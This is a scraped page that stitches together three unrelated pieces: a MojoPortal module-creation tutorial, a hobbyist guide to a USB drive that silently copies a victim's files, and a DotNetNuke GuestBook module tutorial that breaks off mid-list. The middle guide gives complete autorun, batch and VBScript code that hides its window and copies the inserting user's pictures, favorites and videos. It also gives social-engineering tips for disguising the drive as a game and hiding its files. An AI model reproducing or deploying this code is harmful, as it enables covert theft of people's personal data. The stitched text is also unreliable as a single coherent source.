Create New Module in Mojoportal


MojoPortal is an open-source content management platform that we have started using at StrongEye because it offers an extensive out of the box starting point for ASP.NET Web applications, and also because it is incredibly developer-friendly.

UPDATE: For most common Web site tasks, you probably can go very far in MojoPortal without having to create custom code. These steps are advanced and for developers who want to create new functionality that cannot be accomplished with the existing feature set that comes out-of-the-box with MojoPortal.

One of the first tasks that a developer needs to do to get started with MojoPortal is to create a module. Basically a module is a starting point for a 100% custom application. The module is the shim that plugs in to MojoPortal proper, and allows you to include a entry point to your application in context of the portal.

I have found the documentation to be great on the MojoPortal site, but there are lots of small details that are hidden inside tutorial videos and elsewhere. This post is an attempt to bring all these things into one place so you can get started.

UPDATE: This post is updated to include a bit more context than before. Before you begin step 1, you must first have a local copy of MojoPortal loaded from SVN per instructions here (note: this links to Windows instructions as that is my bias, Linux SVN instructions are here).

Once you have all the Mojoportal source code loaded locally, you need to set up you VS Solution. The simplest way to do this is to copy an existing .sln file from the code you just got from SVN and rename it so that it will not be overwritten when you do new updates from SVN to get newer versions in the future.

For the purpose of this entry, I am going to make a copy of “mojoportal_mssql_only.sln” and I’ll rename it ‘mojoportal-localdev_mssql_only.sln’. Then I’ll open this file in Visual Studio. Getting the initial project to run locally is beyond the scope of this article, though this is something that you must have working before any of the steps below will work.

How to create a MojoPortal module

Step 1: Create the 3 initial projects

Category Steps Notes
Create UI project Create a new ASP.NET Web Application [yourProject].UIDelete or rename the auto-generated Default.aspx file so it does not get copied to the portal by mistake.

Create subfolders in your Web project for your controls and asp.net pages:

/[yourProject]/

/[yourProject]/Controls/

Create a subfolder from the root of your Web project called “Setup:

/Setup/

 NOTE: don’t create a new Web Site; what we want is a new Web Application.Right click Solution root >

Add >

New Project >

ASP.NET Web Application

Creating contents inside “Setup” is outside the scope of this article. See the developer documentation here for details on how to use the Setup system.

 

Create Business Layer project Create a new Class Library project [yourProject].Business
Create Data Layer project Create a new Class Library project [yourProject].DataRename your .Data project to [yourProject].Data.MSSQL (or whatever db you are using). By naming it .Data initially, Visual Studio sets the target assembly name to .Data, renaming the project does not cause this to change, which is the desired behavior. All the .Data projects that are variants targeting different database technologies should all compile to the same assembly name so they can be swapped at build time.
Add References in your Web UI project ·         Log4net·         mojoPortal.Business

·         mojoPortal.Business.WebHelpers

·         mojoPortal.Features.UI

·         mojoPortal.Net

·         mojoPortal.Web

·         mojoPortal.Web.Controls

·         mojoPortal.Web.Editor

·         mojoPortal.Web.Framework

·         [yourProject].Business

Add Reference in your [yourProject].Business project ·         [yourProject].Data.MSSQL 
Add .resx file for localization Create a standard ASP.NET folder App_GlobalResources.In this folder, add a new .resx file by choosing Add > New Item > Resources file. Give the file a name matching your project name so that it is unique.

Step 2: Make your project mimic mojoPortal.Web enough that it will compile

Category Steps Notes
Update Web.Config Open the Web.config file in mojoPortal.Web and copy the entire <pages> section in to your new [myProject].UIweb.config This section (<pages>) lives directly under <system.web> … your project may have an auto-generated section already. You can just overwrite the entire thing.
Copy Master Pages Create a folder in your [myProject].UI project called “App_MasterPages”Copy layout.Master from the WebStore.UI subfolder (this is preferable because it is a subset of the entire master page and it’s all that you need to develop). You can also simply copy the entire “App_MasterPages” folder fromWebStore.UI (NOTE: NOT mojoPortal.Web! Important to use the folder from WebStore.UI instead!) This gives your aspx pages the correct content placeholders when you develop your feature.

Step 3: Create your Module

The Module is an .ascx control that inherits from SiteModuleControl and creates the instance-specific entry point from the portal into your custom code. From this entry point, you may also have many other pages that are custom aspx pages that use the portal master page.

These steps rely on code generated by CodeSmith, which provides a free version on their site (here)

Category Steps Notes
Create Module ascx In the folder created earlier in [yourProject].UI/[yourProject]/

Right click and create a new Web User Control (.ascx) called

[yourProject]Module.ascx

Generate ascx from CodeSmith template Open CodeSmith Studio. In Template Explorer, open the folder “Codesmith4x” found in\mojoportal\CodeSmith Templates\

Find the template called

Mp_UI-starter_ModuleControlGenerator.cst

Right click and choose “Execute”

A dialog will open prompting you for values. Here is what to choose:

Author: [your name]

BusinessLayerNameSpace: [yourProject].Business

ControlName: [yourModuleControlName]

FeatureName: [yourProject]

UINameSpace: [yourProject].UI

Click “Generate”

The result of the generated code includes both control UI code and code-behind c# code. You will need to highlight each section separately to cut and paste.
Cut and paste back into your Module Select the code beginning with comments// Author:   [yourname]

To the end. This is the code behind that goes in [yourModule]Module.ascx.cs

Open [yourModule]Module.ascx.cs and replace all the code with the copied code. Save.

Return to the generated Codesmith resulting code. In the .ascx source section, highlight ONLY the single line beginning with

<%@ Control … %>

Copy that and paste over the Source in your [yourModule]Module.ascx file. Save.

Copy the remaining code between

<%@ Control … %> and the code behind c# code comments from CodeSmith into your ascx source.

Save.

 

The sequence and steps are designed here to work around a Visual Studio problem in which the “TitleControl” is not found.If you simply copy and paste everything all at once instead of following these steps, you may see the error:
“The name ‘TitleControl’ does not exist in the current context” even though the control is there. As long as these conditions are true, you should not see that message:

–          You have the proper MojoPortal references set

–          You have updated the <pages> section in Web.config

–          You copy and paste the CodeSmith output in the correct sequence and Save in between steps.

Step 3: Add post-build logic to your Web project

This step integrates your code with mojoPortal with each successful build, so you can run the code and see it in context.

Category Steps Notes
Open the Properties of your .UI project Right click on [yourProject].UI in Visual Studio Solution Explorer, choose “Properties”. Navigate to the Build Events tab.
Add Post-build event command line instructions to your .UI project The purpose of this section is so that your code from your UI project will be automatically copied into the mojoportal project with each build. If you haven’t used these, $(ProjectDir) and $(SolutionDir) are macros that Visual Studio recognizes. For more info about post-build events,see this article.Copy the commands below into the text box labeled “Post-build event command line:” and replace XXX with your project path names and YYY with your project names:

xcopy /s /y “$(ProjectDir)bin\YYY.UI.dll” “$(SolutionDir)Web\bin\”

xcopy /s /y “$(ProjectDir)bin\YYY.Business.dll” “$(SolutionDir)Web\bin\”

xcopy /s /y “$(ProjectDir)bin\YYY.Data.dll” “$(SolutionDir)Web\bin\”

xcopy /s /y “$(ProjectDir)XXX\*.ashx” “$(SolutionDir)Web\XXX\”

xcopy /s /y “$(ProjectDir)XXX\*.ascx” “$(SolutionDir)Web\XXX\”

xcopy /s /y “$(ProjectDir)XXX\*.aspx” “$(SolutionDir)Web\XXX\”

xcopy /s /y “$(ProjectDir)XXX\Controls\*.ascx” “$(SolutionDir)Web\XXX\Controls\”

xcopy /s /y “$(ProjectDir)App_GlobalResources\*.resx” “$(SolutionDir)Web\App_GlobalResources\”

xcopy /s /y “$(ProjectDir)Setup\*” “$(SolutionDir)Web\Setup”

Save after you have replaced the paths, right click your Web project and choose Properties. In the Build Events tab, click the Edit Post-build… button and you can paste this there.

Install your feature using the MojoPortal Administration tools After you build your project, log in to MojoPortal as Administrator and navigate to this location:
Administration > Advanced Tools > Feature Installation / ConfigurationYou will see a list of all installed features, scroll down and click Add New Feature.

On the new page, enter your module entry point path in Control Source. You may also choose resource files, icons, and other options here. Click Update.

You may now add your new feature to a page.

 After the steps above are completed, with my project, here is my solution structure in Visual Studio:

How to make flash drive that copy’s users files silently and automatically


Picture of How to make flash drive that copy's users files silently and automatically
****** THIS INSTRUCTABLE IS FOR INFORMATION PURPOSES ONLY IT IS ILEGAL TO COPY SOMEONES FILES WITHOUT THEIR PERMISSION I AM NOT RESPONSABLE FOR ANY THING THAT MAY OR MAYNOT HAPPEN IF THIS INFORMATION IS USED IMPROPERLY**************** 

How to build a simple five file usb drive that copy’s current user’s favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can also be customized for other files that need to be copied.

Step 1: Materials needed
Picture of Materials needed
Let me first say this is my first instructable… so be nice. Any help in making it better would be nice.

Flash/thumb drive 8gb– $25.00.
computer to write files on.
someone to try out thumb drive on.

Just a note, you can use any size thumb drive I used 8gb it was on sale when I bought it. Also the more space you have on the drive the better… just incase the target computer has LOTS of files you will have the space to copy to.

Step 2: Create autorun file for the flash drive
Picture of Create autorun file for the flash drive
autoruncode.jpg
Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer. Also used to change the thumb drive icon to something more acceptable for social engineering.

Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content.


[autorun]
icon=drive.ico
open=launch.bat
action=Click ok to Run game for Windows
shell\open\command=launch.bat


a couple of notes
the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it… like this autorun.inf

look at pic two if you have any issues.

You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. Anyways just save it to the drive name it drive.ico next time you pull the drive out and put it in you will have your custom icon. Great for social engineering if the situation arises, makes it much less of an issue to have someone click a file on the drive if it looks like a game or something.

next is the open= command this code takes the launch batch file and opens it.. more on the launch batch file later.

next it action= this can change to suit your needs, when the autorun launches it sometimes may ask the user what to open dependent on what you put here is what the user will think he is clicking on in the code above it tells the user to click here to run game for windows. This code acts as a backup just in case the user is asked what to open.

The shell/open command also acts as a backup in case the user clicks cancel instead of open when prompted… this code will execute when the drive letter is clicked on. No user can hold back on seeing what is in a random flash drive. That is the basis for this code.

Step 3: Make the file for copy of documents to drive
Picture of Make the file for copy of documents to drive
This is the heart of the flash drive copy I am not going to go through every line of code here but if you have questions just ask or use Google, I will however touch on the main points of the code.
Like the last step make sure you use word to make this file save it as file.bat and all files not a word file just like in the picture.
Code follows


@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% “%USERPROFILE%\pictures” “%drive%\all\My pics”
%backupcmd% “%USERPROFILE%\Favorites” “%drive%\all\Favorites”
%backupcmd% “%USERPROFILE%\videos” “%drive%\all\vids”
@echo off
cls


what this code does
looks for what drive letter the flash drive is and sets it
starts xcopy
looks for current users pictures, favorites, and videos folder then copy’s them to the found flash drive in folders my pics, favorites, and vids
clears screen and shuts down window

now the fun part of this code it can be changed to suit your needs say you need to copy say music folder the code would change to %backupcmd% “%USERPROFILE%\music” “%drive%\all\music”

very clever huh

Step 4: Make vb script to run batch file as invisible
Picture of Make vb script to run batch file as invisible
This code is very simple it runs the file.bat as a process so it does not show the cmd prompt and everything the batch file is processing
Code it with word and save as invisible.vbs
All files once again.

______________________________________________________________

CreateObject(“Wscript.Shell”).Run “””” & WScript.Arguments(0) & “”””, 0, False

______________________________________________________________

Step 5: Make a batch file to launch vb script and file.batch
Picture of make a batch file to launch vb script and file.batch
ok this batch file does two things, it looks for the invisible.vbs file in the root of the flash drive then loads it with file.bat so file.bat is run with code from vbs file…. neat huh.
create with word and save as launch.bat

____________________________

wscript.exe \invisible.vbs file.bat

____________________________

Step 6: Create folder to save files withing thumb drive.
Picture of Create folder to save files withing thumb drive.
Go to the root of the thumb drive and create a folder named all that’s it for this step. All the documents will be saved in this folder in there separate folders.
Step 7: Put all files in root of drive and try out
Picture of put all files in root of drive and try out
Now if you have not put all the files in the root of the flash drive it’s time to do that now. One thing you can do is make all the files hidden, so for if some reason they look into the drive they will see an empty drive and not think anything. Now all you should have to do is plug into someones computer and let the thumb drive do its work after the LED is done flashing you should have all their files now. If for some reason it prompts for action just click the first one on the list then it will copy all files.

I would post a video if this in action but i am currently deployed to Iraq and bandwidth is very limited here if you have any questions or how i might make this Instructable better dont hesitate to mail me thanks and for looking

Creating a Dotnetnuke Module


Introduction

This article explains in detail the process of creating a DotNetNuke module.

Requirements

To use this tutorial, you need:

  1. Visual Studio Express (download here)
  2. SQL Server Express (download here)
  3. DotNetNuke Starter Kit 4.x (download here)Note: When you download it, it may change the file extension to “.zip“. After downloading, change this to “.vsi“, and then you can double-click on the file to install the templates.

Note: Do not attempt to create modules on a production installation of DotNetNuke; trust me, you will invariably screw up the installation and will have to restore the database or re-install.

Setup

  1. Install Visual Studio Express if you haven’t already done so (download here).
  2. Install SQL Server Express if you haven’t already done so (download here).
  3. Follow the directions here to install the DotNetNuke Starter Kit and to create a DotNetNuke website.

image002.jpg

Very important: Click once on the root directory in the Solution Explorer window. Doing so will ensure that the starter module code is created in the proper place.

image003.jpg

Select File from the toolbar, then New File:

image004.jpg

On the next menu, click once on DotNetNuke Module (under My Templates), select “Visual Basic” from the Languagedropdown, type “GuestBook.” in the Name box, and click Add.

image005.jpg

I interrupt this tutorial for an important warning:

Note: If the files DataProvider.vbGuestBookController.vbGuestBookInfo.vb, and SqlDataProvider.vb in the “ModuleName” directory are under “DesktopModules/App_Code” then they are in the wrong place.

Click on the “ModuleName” folder and drag it under the “App_Code” directory that is directly under the main root of the website. You will also have to move the “DesktopModules/ModuleName” folder and drag the “ModuleName” folder so it is under the “DesktopModules” folder that is directly under the main root of the website.

This is the correct way it should look:

image007.jpg image008.jpg

Now back to the tutorial:

A very helpful help page comes up and instructs you to rename /App_Code/ModuleName to /App_Code/GuestBook, and rename /DesktopModules/ModuleName to /DesktopModules/GuestBook.

image009.jpg

Make the changes by right-clicking the folder name in the Solutions Explorer and selecting Rename from the menu. You have to do this twice. Once for the folder under “App_Code“, and then for the folder under “DesktopModules“.

image010.jpg image011.jpg

Now, from the toolbar, select Build, then Build Web Site:

image017.jpg

The website should build without errors.

image018.jpg

In the Solution Explorer, right-click on “Default.aspx” and select Set As Start Page:

image019.jpg

From the toolbar, select Debug, then Start Without Debugging.

(You may wonder why I am not covering debugging. While creating this tutorial, I ran into permission problems on my own machine. They are easily fixed but I wanted to avoid any unneeded complexity. If you need help debugging, see this post.)

image020.jpg

image021.jpg

The website should now come up.

image022.gif

Click Login:

image023.jpg

Log in as “host”. The password (if you haven’t already changed it) is “dnnhost”:

image024.jpg

Click on the HOST menu and select SQL

The form will display.

Switch back to Visual Studio and in the Solution Explorer. Double-click on “01.00.00.SqlDataProvider” in the “DestopModules/GuestBook” directory so that it shows up in the main window.

Click once on the page, then from the toolbar select EDIT then SELECT ALL (Ctrl +A)

Then EDIT and COPY (Ctrl +C).

Switch back to the DotNetNuke website and paste (Ctrl +V) the script you copied into the window, click the “Run as Script” box and click EXECUTE.

From the HOST menu select “Module Definitions”

Click the small down arrow in the upper left hand corner of the Module Definitions menu and select “Create New Module”

Select “GuestBook.dnn” in the Module Manifest drop-down and click Install

Under the Page Functions menu, click Add:

image031.jpg

In the Page Details menu:

  • Enter “Guest Book” for Page Name.
  • Enter “Guest Book” for Page Title.
  • Enter “Guest Book” for Description.
  • Click the View Page box next to All Users.

Then, click Update:

image032.jpg

From the Module drop-down, select “GuestBook”:

image033.jpg

Then, click Add:

image034.jpg

If you get the “Object reference not set to an instance of an object” error, just click on the “Guest Book” link:

(However, if you are running DotNetNuke on a machine that is lower than a Pentium III with 512 KB RAM, then DotNetNuke will regularly throw this error).

image036.jpg

The module should now appear:

image037.jpg

The Guest Book Module

We will walk through the construction of the Guest Book module in these steps:

  • Data Access Layer (DAL) – We will create the tables, the stored procedures, and alter code in the “SqlDataProvider.vb” and “DataProvider.vb” files.
  • Business Logic Layer (BLL) – We will alter code in the “GuestBookController.vb” and “GuestBookInfo.vb” files.
  • Presentation Layer (UI) – We will alter code in the “ViewGuestBook.ascx“, and in the other files in the “DesktopModules/GuestBook” directory.

image038.jpg

Data Access Layer (DAL)

To build the Data Access Layer, we will:

And that’s it! It’s actually not a lot of code to add to the “SqlDataProvider.vb” and “DataProvider.vb” files. Creating the tables and stored procedures is standard database programming that you are probably already used to.

image039.gif

From: “DotNetNuke Module Developers’ Guide”

Copyright © 2003-2005 Perpetual Motion Interactive Systems, Inc. All Rights Reserved.

Connect To The Database

If you have created your DotNetNuke website using SQL Server 2005 Express, your database connection should already be set up for you. If you set it up using SQL Server 2000 or SQL Server 2005, then you may have to set it up.

To set up a connection to the SQL Server database, from the toolbar, select View, then Server Explorer.

image040.jpg

In the Server Explorer, right-click on Data Connections, and select “Add Connection“:

image041.jpg

Fill in the connection information, and click OK.

image042.jpg

Delete the Sample Database Objects

You now need to delete the table and the stored procedures that the template created so that you can make new ones (that happen to use the same names) that the guestbook will use.

The connection will now show up in the Server Explorer. Click the plus next to the connection to expand it. Next, click the plus icon next to Tables to expand it.

Right click on the table “YourCompany_GuestBook” and select “Delete” and delete the table.

Note: At this point, the module will no longer work in your DotNetNuke web site. It will not work again until you have completed all the steps in this tutorial.

image043.jpg

Click the plus icon next to Store Procedures to expand it. One at a time, right-click on the following stored procedures and select “Delete” to delete them. Remember, you have to delete them one at a time.

  • YourCompany_AddGuestBook
  • YourCompany_DeleteGuestBook
  • YourCompany_GetGuestBook
  • YourCompany_GetGuestBooks
  • YourCompany_UpdateGuestBook

image044.jpg

Create The Table

Log into the DotNetNuke website as Host (if you are not already logged in as Host), and from the Host menu, select SQL.

image045.jpg

Paste the following script in the box:

CREATE TABLE [dbo].[YourCompany_GuestBook](
[ID] [int] IDENTITY(1,1) NOT NULL,
[ModuleID] [int] NULL,
[Name] [nvarchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
[Email] [nvarchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
[Message] [nvarchar](250) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
[DateEntered] [datetime] NULL,
CONSTRAINT [PK_YourCompany_GuestBook] PRIMARY KEY CLUSTERED 
(
[ID] ASC
)WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY]
) ON [PRIMARY]

Do not select the “Run as Script” box, and click Execute.

(Note: This is a SQL 2005 script. It will not work in SQL 2000. For SQL 2000, you will have to create the table manually as explained in the next two steps.)

image046.jpg

Optionally, you can create the table in the table designer in Visual Web Developer. In the Server Explorer, right-click onTables and select Add New Table:

image047.jpg

Design the table in the table designer using the graphics below. Make the “ID” column an “identity” column and also set it as the primary key. Save it as “YourCompany_GuestBook“.

image048.jpg

Create the Stored Procedures

Log into the DotNetNuke website as Host (if you are not already logged in as Host), and from the Host menu, select SQL.

image045.jpg

Paste the following script in the box:

CREATE PROCEDURE {databaseOwner}
   [{objectQualifier}YourCompany_GuestBook_Delete] 
(
@ID int
)
AS
DELETE FROM {objectQualifier}YourCompany_GuestBook
WHERE (ID = @ID)
RETURN
GO
CREATE PROCEDURE {databaseOwner}
   [{objectQualifier}YourCompany_GuestBook_GetAll] 
(
@ModuleID int 
)
AS
SELECT ID, ModuleID, Name, Email, Message, DateEntered
FROM {objectQualifier}YourCompany_GuestBook
WHERE (ModuleID = @ModuleID)
order by DateEntered DESC
RETURN
GO
CREATE PROCEDURE {databaseOwner}
   [{objectQualifier}YourCompany_GuestBook_Insert] 
(
@ModuleID int,
@Name nvarchar(50),
@Email nvarchar(50),
@Message nvarchar(250)
)
AS
INSERT INTO {objectQualifier}YourCompany_GuestBook
(ModuleID, Name, Email, Message, DateEntered)
VALUES (@ModuleID,@Name,@Email,@Message,getdate())
RETURN
GO
CREATE PROCEDURE {databaseOwner}
   [{objectQualifier}YourCompany_GuestBook_Update] 
(
@ID int,
@Name nvarchar(50),
@Email nvarchar(50), 
@Message nvarchar(250),
@DateEntered datetime
)
AS
UPDATE {objectQualifier}YourCompany_GuestBook
SET Name = @Name, Email = @Email, 
    Message = @Message, DateEntered = @DateEntered
WHERE (ID = @ID)
RETURN
GO

Select the Run as Script box, and click Execute:

image049.jpg

Verify that the stored procedures have been created. Switch back to Visual Studio, and select View from the toolbar and Server Explorer:

image050.jpg

On the “Server Explorer” window, right-click on Stored Procedures and select Refresh:

image051.jpg

Scroll down the list of stored procedures and verify that these stored procedures have been created:

  • YourCompany_GuestBook_Delete
  • YourCompany_GuestBook_GetAll
  • YourCompany_GuestBook_Insert
  • YourCompany_GuestBook_Update

image052.jpg

Alter the “SqlDataProvider.vb” file. In Visual Studio, select View from the toolbar and “Solution Explorer“:

image053.jpg

In the “Solution Explorer” window, expand the “GuestBook” directory under the “App_code” folder and double-click on the “SqlDataprovider.vb” file:

image054.jpg

Replace all the code with:

Imports System
Imports System.Data
Imports System.Data.SqlClient
Imports Microsoft.ApplicationBlocks.Data
Imports DotNetNuke.Common.Utilities
Imports DotNetNuke.Framework.Providers

Namespace YourCompany.Modules.GuestBook

Public Class SqlDataProvider Inherits DataProvider

    Private Const ProviderType As String = "data"
    Private Const ModuleQualifier As String = ""
    Private _providerConfiguration As _
      ProviderConfiguration = _
      ProviderConfiguration.GetProviderConfiguration(ProviderType)
    Private _connectionString As String
    Private _providerPath As String
    Private _objectQualifier As String
    Private _databaseOwner As String

    ' <summary>
    ' Constructs new SqlDataProvider instance
    ' </summary>
    Public Sub New()
        MyBase.New()
        'Read the configuration specific information for this provider
        Dim objProvider As Provider = CType(_providerConfiguration._
            Providers(_providerConfiguration.DefaultProvider), Provider)

        'Read the attributes for this provider
        If ((objProvider.Attributes("connectionStringName") <> "") _
                AndAlso (System.Configuration.ConfigurationManager._
                AppSettings(objProvider.Attributes(_
                "connectionStringName")) <> "")) Then
            connectionString = System.Configuration._
                ConfigurationManager.AppSettings(_
                objProvider.Attributes("connectionStringName"))
        Else
            _connectionString = _
              objProvider.Attributes("connectionString")
        End If

        _providerPath = objProvider.Attributes("providerPath")
        _objectQualifier = objProvider.Attributes("objectQualifier")

        If ((_objectQualifier <> "") _
               AndAlso (_objectQualifier.EndsWith("_") _
               = False)) Then
            _objectQualifier = (_objectQualifier + "_")
        End If

        _databaseOwner = objProvider.Attributes("databaseOwner")

        If ((_databaseOwner <> "") _
                   AndAlso (_databaseOwner.EndsWith(_
                   ".") = False)) Then
        _databaseOwner = (_databaseOwner + ".")
        End If
    End Sub

    ' <summary>
    ' Gets and sets the connection string
    ' </summary>
    Public ReadOnly Property ConnectionString() As String
        Get
            Return _connectionString
        End Get
    End Property

    ' <summary>
    ' Gets and sets the Provider path
    ' </summary>
    Public ReadOnly Property ProviderPath() As String
        Get
            Return _providerPath
        End Get
    End Property

    ' <summary>
    ' Gets and sets the Object qualifier
    ' </summary>
    Public ReadOnly Property ObjectQualifier() As String
        Get
            Return _objectQualifier
        End Get
    End Property

    ' <summary>
    ' Gets and sets the database ownere
    ' </summary>
    Public ReadOnly Property DatabaseOwner() As String
        Get
            Return _databaseOwner
        End Get
    End Property

    ' --------------------------------------------------
    ' <summary>
    ' Gets the fully qualified name
    ' of the stored procedure
    ' </summary>
    ' <param name="name">The name
    ' of the stored procedure</param>
    ' <returns>The fully qualified name</returns>
    ' --------------------------------------------------
    Private Function GetFullyQualifiedName(ByVal _
                 name As String) As String
        Return (DatabaseOwner _
            + (ObjectQualifier _
            + (ModuleQualifier + name)))
    End Function

    ' --------------------------------------------------
    ' <summary>
    ' Gets the value for the field or DbNull
    ' if field has "null" value
    ' </summary>
    ' <param name="Field">The field to evaluate</param>
    ' <returns></returns>
    ' --------------------------------------------------
    Private Function GetNull(ByVal Field As Object) As Object
        Return Null.GetNull(Field, DBNull.Value)
    End Function

    Public Overrides Sub YourCompany_GuestBook_Insert(ByVal _
           ModuleId As Integer, ByVal Name As String, _
           ByVal Email As String, ByVal Message As String)
        SqlHelper.ExecuteNonQuery(ConnectionString, _
          GetFullyQualifiedName("YourCompany_GuestBook_Insert"), _
          ModuleId, Name, Email, Message)
    End Sub

    Public Overrides Sub _
           YourCompany_GuestBook_Delete(ByVal ID As Integer)
        SqlHelper.ExecuteNonQuery(ConnectionString, _
           GetFullyQualifiedName("YourCompany_GuestBook_Delete"), ID)
    End Sub

    Public Overrides Function YourCompany_GuestBook_GetAll _
           (ByVal ModuleId As Integer) As IDataReader
        Return CType(SqlHelper.ExecuteReader(ConnectionString, _
               GetFullyQualifiedName("YourCompany_GuestBook_GetAll"), _
               ModuleId), IDataReader)
    End Function

    Public Overrides Sub YourCompany_GuestBook_Update(ByVal ID _
           As Integer, ByVal Name As String, ByVal Email As _
           String, ByVal Message As String, _
           ByVal DateEntered As DateTime)
        SqlHelper.ExecuteNonQuery(ConnectionString, _
           GetFullyQualifiedName("YourCompany_GuestBook_Update"), _
           ID, Name, Email, Message, DateEntered)
    End Sub
End Class
End Namespace

You will notice that you will see errors such as:

 Collapse | Copy Code
"'YourCompany_GuestBook_Insert' cannot be declared 
  'Overrides' because it does not override a sub in a base class"

This is because the “DataProvider.vb” must indicate the methods that the “SqlDataProvider.vb” overrides. When we place those methods in the “DataProvider.vb” file, the errors will go away.

image055.jpg

Alter the “DataProvider.vb” file. In the Solution Explorer, in the “GuestBook” directory under the “App_code” folder, double-click on the “DataProvider.vb” file.

image056.jpg

Replace all the code with:

Imports System
Imports DotNetNuke
Imports System.Data
Imports DotNetNuke.Framework
Namespace YourCompany.Modules.GuestBook

Public MustInherit Class DataProvider
    ' singleton reference to the instantiated object
    Private Shared objProvider As DataProvider = Nothing

    ' constructor
    Shared Sub New()
    CreateProvider()
    End Sub

    ' dynamically create provider
    Private Shared Sub CreateProvider()
    objProvider = CType(Reflection.CreateObject("data", _
                  "YourCompany.Modules.GuestBook", _
                  ""), DataProvider)
    End Sub

    ' return the provider
    Public Shared Function Instance() As DataProvider
        Return objProvider
    End Function

    Public MustOverride Sub YourCompany_GuestBook_Insert(ByVal _
           ModuleId As Integer, ByVal Name As String, _
           ByVal Email As String, ByVal Message As String)
    Public MustOverride Function _
           YourCompany_GuestBook_GetAll(ByVal ModuleId _
           As Integer) As IDataReader
    Public MustOverride Sub YourCompany_GuestBook_Update(ByVal _
           ID As Integer, ByVal Name As String, _
           ByVal Email As String, ByVal Message _
           As String, ByVal DateEntered As DateTime)
    Public MustOverride Sub _
        YourCompany_GuestBook_Delete(ByVal ID As Integer)
End Class
End Namespace

Switch back to the “SqlDataprovider.vb” file and notice all the error messages are gone. Now would be a good time to save (Ctrl + Shift + S).

image057.jpg

Review

  • Data Access Layer (DAL) (Done)
  • Business Logic Layer (BLL)
  • Presentation Layer (UI)

We are done with the Data Access Layer. We will now program the Business Logic Layer. The Business Logic Layer will get done fast because it is only two files: a simple class file to hold our data, and a “controller” file that will fill the class file with data as well as handle inserting and deleting data.

The Business Logic Layer (BLL)

To build the Business Logic Layer, we will:

  • Alter “GuestBookInfo.vb
  • Alter “GuestBookController.vb

And that’s it! This is the step that is usually the hardest for beginners to understand but is really not that complicated. However, ASP.NET 2.0 does provide a major reduction of code over the ASP.NET 1.1 version.

Alter the “GuestBookInfo.vb” file

In Visual Studio, select View from the toolbar and the “Solution Explorer“:

image053.jpg

In the Solution Explorer window, expand the “GuestBook” directory under the “App_code” folder, and double-click on the “GuestBookInfo.vb” file:

image058.jpg

Replace every single line of code in the file with this code:

Imports System
Imports System.Configuration
Imports System.Data
Namespace YourCompany.Modules.GuestBook

Public Class GuestBookInfo
    Private _ModuleId As Integer
    Private _ID As Integer
    Private _Name As String
    Private _Email As String
    Private _Message As String
    Private _DateEntered As DateTime

    ' initialization
    Public Sub New()
      MyBase.New()
    End Sub

    ' <summary>
    ' Gets and sets the Module Id
    ' </summary>
    Public Property ModuleId() As Integer
     Get
      Return _ModuleId
     End Get
    Set(ByVal value As Integer)
      _ModuleId = value
     End Set
    End Property

    ' <summary>
    ' Gets and sets the Item ID
    ' </summary>
    Public Property ID() As Integer
     Get
      Return _ID
     End Get
     Set(ByVal value As Integer)
      _ID = value
     End Set
    End Property

    ' <summary>
    ' gets and sets the Name
    ' </summary>
    Public Property Name() As String
     Get
      Return _Name
     End Get
     Set(ByVal value As String)
      _Name = value
     End Set
    End Property

    ' <summary>
    ' Gets and sets the Email
    ' </summary>
    Public Property Email() As String
     Get
      Return _Email
     End Get
     Set(ByVal value As String)
      _Email = value
     End Set
    End Property

    ' <summary>
    ' Gets and sets the Message
    ' </summary>
    Public Property Message() As String
     Get
      Return _Message
     End Get
     Set(ByVal value As String)
      _Message = value
     End Set
    End Property

    ' <summary>
    ' Gets and sets the DateEntered
    ' </summary>
    Public Property DateEntered() As DateTime
     Get
      Return _DateEntered
     End Get
     Set(ByVal value As DateTime)
      _DateEntered = value
     End Set
    End Property
End Class
End Namespace

image059.jpg

Alter the “GuestBookController.vb” file

In Visual Studio, select View from the toolbar and the “Solution Explorer“.

In the Solution Explorer window, expand the “GuestBook” directory under the “App_code” folder, and double-click on the “GuestBookController.vb” file:

image060.jpg

Replace every single line of code in the file with this code:

Imports System
Imports System.Collections.Generic
Imports System.Configuration
Imports System.ComponentModel
Imports System.Data
Imports System.Xml
Imports System.Web
Imports DotNetNuke
Imports DotNetNuke.Common
Imports DotNetNuke.Common.Utilities
Imports DotNetNuke.Entities.Modules
Imports DotNetNuke.Services.Search

Namespace YourCompany.Modules.GuestBook
 Public Class GuestBookController

  <DataObjectMethod(DataObjectMethodType.Insert)> _
  Public Shared Sub GuestBook_Insert(_
         ByVal objTest As GuestBookInfo)
    DataProvider.Instance.YourCompany_GuestBook_Insert(_
      objTest.ModuleId, objTest.Name, _
      objTest.Email, objTest.Message)
  End Sub

  <DataObjectMethod(DataObjectMethodType.Delete)> _
  Public Shared Sub GuestBook_Delete(ByVal _
                objTest As GuestBookInfo)
    DataProvider.Instance._
      YourCompany_GuestBook_Delete(objTest.ID)
  End Sub

  <DataObjectMethod(DataObjectMethodType.Select)> _
  Public Shared Function GuestBook_GetAll(_
         ByVal ModuleId As Integer) _
         As List(Of GuestBookInfo)
    Return CBO.FillCollection(Of GuestBookInfo)_
           (DataProvider.Instance()._
           YourCompany_GuestBook_GetAll(ModuleId))
  End Function

  <DataObjectMethod(DataObjectMethodType.Update)> _
  Public Shared Sub GuestBook_Update(ByVal _
                    objTest As GuestBookInfo)
    DataProvider.Instance._
        YourCompany_GuestBook_Update(objTest.ID, _
        objTest.Name, objTest.Email, _
        objTest.Message, objTest.DateEntered)
  End Sub

 End Class
End Namespace

image061.jpg

Review

  • Data Access Layer (DAL) (Done)
  • Business Logic Layer (BLL) (Done)
  • Presentation Layer (UI)

We are done with the Business Logic Layer.

What did we just do?

The “GuestBookInfo.vb” was created. This is just a simple class file. It will hold the data.

image062.jpg

The “GuestBookController.vb” was created. This class has four methods:

  • GuestBook_Insert
